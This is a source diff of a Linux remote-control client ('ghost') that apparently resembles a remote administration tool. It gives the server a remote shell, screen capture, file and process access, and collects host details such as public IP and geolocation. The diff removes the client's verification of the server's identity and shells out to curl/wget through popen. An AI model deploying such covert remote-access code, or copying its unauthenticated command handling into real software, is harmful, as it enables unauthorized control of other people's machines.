r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
|
||||
return r;
|
||||
}
|
||||
|
||||
// 获取公网 IP(轮询多个查询源,与 Windows 端 IPConverter 一致)
|
||||
inline std::string getPublicIP()
|
||||
{
|
||||
static const char* urls[] = {
|
||||
"https://checkip.amazonaws.com",
|
||||
"https://api.ipify.org",
|
||||
"https://ipinfo.io/ip",
|
||||
"https://icanhazip.com",
|
||||
"https://ifconfig.me/ip",
|
||||
};
|
||||
for (auto& url : urls) {
|
||||
std::string ip = httpGet(url, 3);
|
||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
Mprintf("getPublicIP: all sources failed\n");
|
||||
return "";
|
||||
}
|
||||
|
||||
// 从 JSON 字符串中提取指定 key 的 string 值(简易解析,不依赖 jsoncpp)
|
||||
// 仅支持 "key": "value" 或 "key":"value" 格式
|
||||
inline std::string jsonExtract(const std::string& json, const std::string& key)
|
||||
{
|
||||
std::string needle = "\"" + key + "\"";
|
||||
size_t pos = json.find(needle);
|
||||
if (pos == std::string::npos) return "";
|
||||
pos = json.find(':', pos + needle.size());
|
||||
if (pos == std::string::npos) return "";
|
||||
pos = json.find('"', pos + 1);
|
||||
if (pos == std::string::npos) return "";
|
||||
size_t end = json.find('"', pos + 1);
|
||||
if (end == std::string::npos) return "";
|
||||
return json.substr(pos + 1, end - pos - 1);
|
||||
}
|
||||
|
||||
// 获取 IP 地理位置(ipinfo.io,与 Windows IPConverter 同源)
|
||||
inline std::string getGeoLocation(const std::string& ip)
|
||||
{
|
||||
if (ip.empty()) return "";
|
||||
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
|
||||
if (json.empty()) return "";
|
||||
std::string country = jsonExtract(json, "country");
|
||||
std::string city = jsonExtract(json, "city");
|
||||
if (city.empty() && country.empty()) return "";
|
||||
if (city.empty()) return country;
|
||||
if (country.empty()) return city;
|
||||
return city + ", " + country;
|
||||
}
|
||||
|
||||
} // namespace PosixNet
|
||||
@@ -1,50 +0,0 @@
|
||||
// rtt_estimator.h
|
||||
// 平滑 RTT 估算器(参考 RFC 6298),与 Windows 端 KernelManager 算法一致。
|
||||
// Linux/macOS 客户端共享:每次心跳 ACK 用 update_from_sample(rtt_ms) 喂一次样本。
|
||||
//
|
||||
// 设计要点:
|
||||
// - srtt / rttvar / rto 单位为秒;输入是毫秒
|
||||
// - 异常值(≤0 或 >30s)丢弃,防止统计被一个瞬时坏样本污染
|
||||
// - alpha=1/8, beta=1/4 与 RFC 6298 默认值一致
|
||||
//
|
||||
// C++17 inline 全局变量:g_rttEstimator / g_heartbeatInterval 由本头文件直接定义,
|
||||
// 多翻译单元 include 不会触发 ODR 冲突。
|
||||
#pragma once
|
||||
|
||||
#include <cmath>
|
||||
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||
return;
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
|
||||
inline RttEstimator g_rttEstimator;
|
||||
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
||||
@@ -1,70 +0,0 @@
|
||||
// sub_conn_thread.h
|
||||
// Linux/macOS 客户端子连接 worker 线程的统一骨架。
|
||||
//
|
||||
// 各 worker 线程(Shell / ScreenSpy / FileManager / SystemManager 等)共有的步骤:
|
||||
// 1. new IOCPClient(g_bExit, exit_while_disconnect=true)
|
||||
// 2. Enter log
|
||||
// 3. EnableSubConnAuth(true, g_myClientID)(子连接强制 ConnAuth)
|
||||
// 4. ConnectServer(内部会执行 PerformConnAuth;失败返 false)
|
||||
// 5. 创建 platform handler
|
||||
// 6. setManagerCallBack 装回调
|
||||
// 7. 调 onReady(发首包:TOKEN_TERMINAL_START / SendBitmapInfo() 等)
|
||||
// 8. while (running && connected && !g_bExit) Sleep
|
||||
// 9. 清回调防止 dangling
|
||||
// 10. Leave log
|
||||
// 11. catch exceptions
|
||||
//
|
||||
// 平台差异(通过 lambda 注入):
|
||||
// - HandlerT:PTYHandler / ScreenHandler / SystemManager / FileManager
|
||||
// - createHandler 可返回 nullptr 表示初始化失败(如 macOS ScreenHandler 无录屏权限)
|
||||
// - onReady 完成首包发送或额外 setup
|
||||
//
|
||||
// 用法见 linux/main.cpp / macos/main.mm 的 *workingThread 调用点。
|
||||
#pragma once
|
||||
|
||||
#include <memory>
|
||||
#include <stdexcept>
|
||||
|
||||
#include "client/IOCPClient.h"
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
|
||||
extern State g_bExit;
|
||||
extern uint64_t g_myClientID;
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
|
||||
// 子连接 worker 线程通用骨架。
|
||||
//
|
||||
// CreateFn 签名: std::unique_ptr<HandlerT>(IOCPClient*)
|
||||
// 返回 nullptr 表示初始化失败(如权限拒绝),线程会跳过 callback 安装直接 leave。
|
||||
// OnReadyFn 签名: void(IOCPClient*, HandlerT*)
|
||||
// handler 装上 callback 后立即调用,可在此发送首包或做额外 setup。
|
||||
template <class HandlerT, class CreateFn, class OnReadyFn>
|
||||
inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnReadyFn onReady)
|
||||
{
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
|
||||
|
||||
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<HandlerT> handler = createHandler(ClientObject.get());
|
||||
if (handler) {
|
||||
ClientObject->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
onReady(ClientObject.get(), handler.get());
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
}
|
||||
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** %s exception: %s ***\n", threadName, e.what());
|
||||
}
|
||||
}
|
||||
@@ -28,7 +28,6 @@ set(SOURCES
|
||||
main.cpp
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
../client/sign_shim_unix.cpp
|
||||
)
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
@@ -41,14 +40,6 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
|
||||
# 链接私有签名库(提供 signMessage / verifyMessage,源码不开源)
|
||||
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
|
||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
|
||||
|
||||
# libsign.a 内部使用 OpenSSL HMAC,需要在最终可执行链接 libcrypto
|
||||
find_package(OpenSSL REQUIRED)
|
||||
target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
|
||||
|
||||
# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11)
|
||||
target_link_libraries(ghost PRIVATE dl)
|
||||
|
||||
|
||||
BIN
linux/ghost
BIN
linux/ghost
Binary file not shown.
Binary file not shown.
371
linux/main.cpp
371
linux/main.cpp
@@ -32,10 +32,6 @@
|
||||
#include "common/logger.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
#include "common/rtt_estimator.h"
|
||||
#include "common/client_auth_state.h"
|
||||
#include "common/posix_net_helpers.h"
|
||||
#include "common/sub_conn_thread.h"
|
||||
#include "LinuxConfig.h"
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -50,8 +46,6 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
|
||||
// 客户端 ID(V2 文件传输需要)
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth)
|
||||
|
||||
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
@@ -308,55 +302,134 @@ private:
|
||||
};
|
||||
|
||||
// ============== 心跳保活 & RTT 估算 ==============
|
||||
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
|
||||
|
||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||
return;
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
RttEstimator g_rttEstimator;
|
||||
int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
||||
|
||||
// PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
|
||||
|
||||
void* ShellworkingThread(void* /*param*/)
|
||||
void* ShellworkingThread(void* param)
|
||||
{
|
||||
RunSubConnThread<PTYHandler>(
|
||||
"ShellworkingThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
|
||||
[](IOCPClient* c, PTYHandler*) {
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
BYTE bToken = TOKEN_TERMINAL_START;
|
||||
c->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
|
||||
});
|
||||
ClientObject->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* ScreenworkingThread(void* /*param*/)
|
||||
void* ScreenworkingThread(void* param)
|
||||
{
|
||||
RunSubConnThread<ScreenHandler>(
|
||||
"ScreenworkingThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<ScreenHandler>(new ScreenHandler(c)); },
|
||||
[](IOCPClient* c, ScreenHandler* h) {
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||
h->SendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
|
||||
});
|
||||
handler->SendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* SystemManagerThread(void* /*param*/)
|
||||
void* SystemManagerThread(void* param)
|
||||
{
|
||||
RunSubConnThread<SystemManager>(
|
||||
"SystemManagerThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<SystemManager>(new SystemManager(c)); },
|
||||
[](IOCPClient* c, SystemManager*) {
|
||||
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c);
|
||||
});
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** SystemManagerThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* FileManagerThread(void* /*param*/)
|
||||
void* FileManagerThread(void* param)
|
||||
{
|
||||
RunSubConnThread<FileManager>(
|
||||
"FileManagerThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
|
||||
[](IOCPClient* c, FileManager*) {
|
||||
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c);
|
||||
});
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** FileManagerThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -365,12 +438,6 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见
|
||||
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
|
||||
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
@@ -392,23 +459,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
uint64_t now = GetUnixMs();
|
||||
double rtt_ms = (double)(now - ack->Time);
|
||||
g_rttEstimator.update_from_sample(rtt_ms);
|
||||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||
static time_t lastAckLog = 0;
|
||||
time_t now_s = time(nullptr);
|
||||
if (now_s - lastAckLog >= 60) {
|
||||
lastAckLog = now_s;
|
||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||||
}
|
||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
MasterSettings settings;
|
||||
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
|
||||
int settingSize = ulLength - 1;
|
||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
}
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
|
||||
@@ -628,49 +690,6 @@ std::string getUsername()
|
||||
return u ? u : "?";
|
||||
}
|
||||
|
||||
// 读取 systemd / dbus 维护的 machine-id(与 Windows MachineGuid 等价)
|
||||
// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
|
||||
// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
|
||||
// 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署
|
||||
// 工具 (cloud-init / kickstart) 会重置它。
|
||||
static std::string getMachineId()
|
||||
{
|
||||
// 优先 /etc/machine-id;某些精简系统可能放在 /var/lib/dbus/machine-id
|
||||
const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
|
||||
for (const char* p : paths) {
|
||||
std::ifstream f(p);
|
||||
if (!f.is_open()) continue;
|
||||
std::string id;
|
||||
std::getline(f, id);
|
||||
// 去掉尾部空白和换行
|
||||
while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
|
||||
id.back() == ' ' || id.back() == '\t')) {
|
||||
id.pop_back();
|
||||
}
|
||||
if (!id.empty()) return id;
|
||||
}
|
||||
return std::string();
|
||||
}
|
||||
|
||||
// 路径归一化(Linux 版):解析符号链接 + 转小写
|
||||
// realpath 等价于 Windows 的 GetLongPathName,把 /usr/local/bin/../foo 这种
|
||||
// 折回到规范形式;小写化避免大小写差异引起 ID 不同(Linux 文件系统本身大小写
|
||||
// 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。
|
||||
static std::string normalizeExePathLower(const std::string& path)
|
||||
{
|
||||
char resolved[PATH_MAX] = {};
|
||||
std::string out;
|
||||
if (realpath(path.c_str(), resolved) != nullptr) {
|
||||
out = resolved;
|
||||
} else {
|
||||
out = path; // 解析失败(罕见):用原值
|
||||
}
|
||||
for (auto& c : out) {
|
||||
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高")
|
||||
std::string getScreenResolution()
|
||||
{
|
||||
@@ -704,14 +723,87 @@ std::string getScreenResolution()
|
||||
return "0:0*0";
|
||||
}
|
||||
|
||||
// execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到
|
||||
// common/posix_net_helpers.h(namespace PosixNet)。下面保留同名 wrapper,避免
|
||||
// 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。
|
||||
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
|
||||
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
|
||||
static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); }
|
||||
inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
|
||||
inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); }
|
||||
// 执行命令并返回输出
|
||||
static std::string execCmd(const std::string& cmd)
|
||||
{
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||
if (!pipe) return "";
|
||||
char buf[4096];
|
||||
std::string result;
|
||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||
result += buf;
|
||||
}
|
||||
// 去除尾部空白
|
||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||
result.pop_back();
|
||||
return result;
|
||||
}
|
||||
|
||||
// HTTP GET 请求(优先 curl,备选 wget)
|
||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||
{
|
||||
std::string t = std::to_string(timeoutSec);
|
||||
// 优先使用 curl
|
||||
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||
if (!r.empty()) return r;
|
||||
// 备选 wget(Ubuntu 默认自带)
|
||||
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
|
||||
return r;
|
||||
}
|
||||
|
||||
// 获取公网 IP(轮询多个查询源,与 Windows 端一致)
|
||||
std::string getPublicIP()
|
||||
{
|
||||
static const char* urls[] = {
|
||||
"https://checkip.amazonaws.com",
|
||||
"https://api.ipify.org",
|
||||
"https://ipinfo.io/ip",
|
||||
"https://icanhazip.com",
|
||||
"https://ifconfig.me/ip",
|
||||
};
|
||||
for (auto& url : urls) {
|
||||
std::string ip = httpGet(url, 3);
|
||||
// 简单校验:非空且看起来像 IP(含有点号,长度合理)
|
||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
Mprintf("getPublicIP: all sources failed\n");
|
||||
return "";
|
||||
}
|
||||
|
||||
// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp)
|
||||
// 支持格式: "key": "value" 或 "key":"value"
|
||||
static std::string jsonExtract(const std::string& json, const std::string& key)
|
||||
{
|
||||
std::string needle = "\"" + key + "\"";
|
||||
size_t pos = json.find(needle);
|
||||
if (pos == std::string::npos) return "";
|
||||
pos = json.find(':', pos + needle.size());
|
||||
if (pos == std::string::npos) return "";
|
||||
pos = json.find('"', pos + 1);
|
||||
if (pos == std::string::npos) return "";
|
||||
size_t end = json.find('"', pos + 1);
|
||||
if (end == std::string::npos) return "";
|
||||
return json.substr(pos + 1, end - pos - 1);
|
||||
}
|
||||
|
||||
// 获取 IP 地理位置(通过 ipinfo.io,与 Windows 端一致)
|
||||
std::string getGeoLocation(const std::string& ip)
|
||||
{
|
||||
if (ip.empty()) return "";
|
||||
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
|
||||
if (json.empty()) return "";
|
||||
|
||||
std::string country = jsonExtract(json, "country");
|
||||
std::string city = jsonExtract(json, "city");
|
||||
|
||||
if (city.empty() && country.empty()) return "";
|
||||
if (city.empty()) return country;
|
||||
if (country.empty()) return city;
|
||||
return city + ", " + country;
|
||||
}
|
||||
|
||||
// ============== 守护进程 ==============
|
||||
|
||||
@@ -918,38 +1010,22 @@ int main(int argc, char* argv[])
|
||||
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
|
||||
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
|
||||
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
|
||||
// V2 ID 算法:machine-id + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/hostname/distro/CPU 漂移)
|
||||
// - 局域网多机即便同镜像,cloud-init/kickstart 会让 machine-id 各不同
|
||||
// - machine-id 读取失败时退化到老算法(pubIP|hostname|distro|cpu|path)保兼容
|
||||
std::string machineId = getMachineId();
|
||||
if (!machineId.empty()) {
|
||||
std::string normPath = normalizeExePathLower(exePath);
|
||||
std::string idInput = machineId + "|" + normPath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
|
||||
g_myClientID, machineId.c_str(), normPath.c_str());
|
||||
} else {
|
||||
// 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
|
||||
// 格式: pubIP|hostname|os|cpu|path
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
distro + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
|
||||
}
|
||||
// 计算客户端 ID(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
|
||||
// 格式: pubIP|hostname|os|cpu|path
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
distro + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
Mprintf("Calculated clientID: %llu (from: %s)\n", g_myClientID, idInput.c_str());
|
||||
|
||||
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
|
||||
logInfo.AddReserved((int)getpid()); // [17] RES_PID
|
||||
